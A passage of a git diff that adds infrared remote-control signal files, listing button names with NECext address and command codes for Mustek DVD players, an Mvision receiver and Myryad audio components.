+name: F.Fwd +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 06 00 00 00 +# +name: Prev. +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 07 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0B 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 10 00 00 00 +# +name: TV/DVD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 11 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 12 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 15 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1C 00 00 00 +# +name: DVControl +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1F 00 00 00 +# +name: MenuPBC +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 41 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 42 00 00 00 +# +name: GoTo +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 43 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 44 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 45 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 46 00 00 00 +# +name: F.Bwd +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 47 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 49 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 50 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 51 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 54 00 00 00 +# +name: Quality +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 55 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 58 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 59 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5C 00 00 00 +# +name: TVSystem +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir b/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir new file mode 100644 index 000000000..6ddae0069 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 01 00 00 00 +# +name: repeat_1-all +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 02 00 00 00 +# +name: repeat_A-B +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 04 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 06 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 07 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0B 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 10 00 00 00 +# +name: vocal +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 11 00 00 00 +# +name: key +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 12 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1F 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 41 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 42 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 43 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 44 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 45 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 46 00 00 00 +# +name: fbwd +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 47 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 49 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 50 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 51 00 00 00 +# +name: echo +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 52 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 53 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 58 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 59 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5C 00 00 00 +# +name: tv_sys +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir b/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir new file mode 100644 index 000000000..236e2b4b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 01 00 00 00 +# +name: X_KEY_1/all +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 02 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 06 00 00 00 +# +name: prev. +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 07 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0B 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 10 00 00 00 +# +name: vocal +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 11 00 00 00 +# +name: keyb +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 12 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1F 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 41 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 42 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 43 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 44 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 45 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 46 00 00 00 +# +name: bwd +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 47 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 49 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 50 00 00 00 +# +name: key# +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 51 00 00 00 +# +name: echo- +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 52 00 00 00 +# +name: echo+ +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 53 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 58 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 59 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5C 00 00 00 +# +name: tvsys. +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir new file mode 100644 index 000000000..29c958982 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: Fn +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: List_Ok +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: Audio/Red +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 13 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: Tv/Radio +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: Zoom_+ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: Position/Green +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: Zoom_- +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: Uhf +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: Audio_Channel/Blue +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 44 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: Pal/Ntsc +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: Av/Tv +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir new file mode 100644 index 000000000..b23fcfdb6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..abd2331ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir new file mode 100644 index 000000000..3bc020ba6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir new file mode 100644 index 000000000..fc2f53538 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir new file mode 100644 index 000000000..828711c81 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir new file mode 100644 index 000000000..9cbdafee2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir new file mode 100644 index 000000000..b23fcfdb6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir new file mode 100644 index 000000000..abd2331ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir new file mode 100644 index 000000000..28216abea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: MANUAL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir new file mode 100644 index 000000000..fc2f53538 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir new file mode 100644 index 000000000..a7d456786 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir new file mode 100644 index 000000000..828711c81 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir new file mode 100644 index 000000000..9cbdafee2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir new file mode 100644 index 000000000..ae5a32f9a --- /dev/null +++ 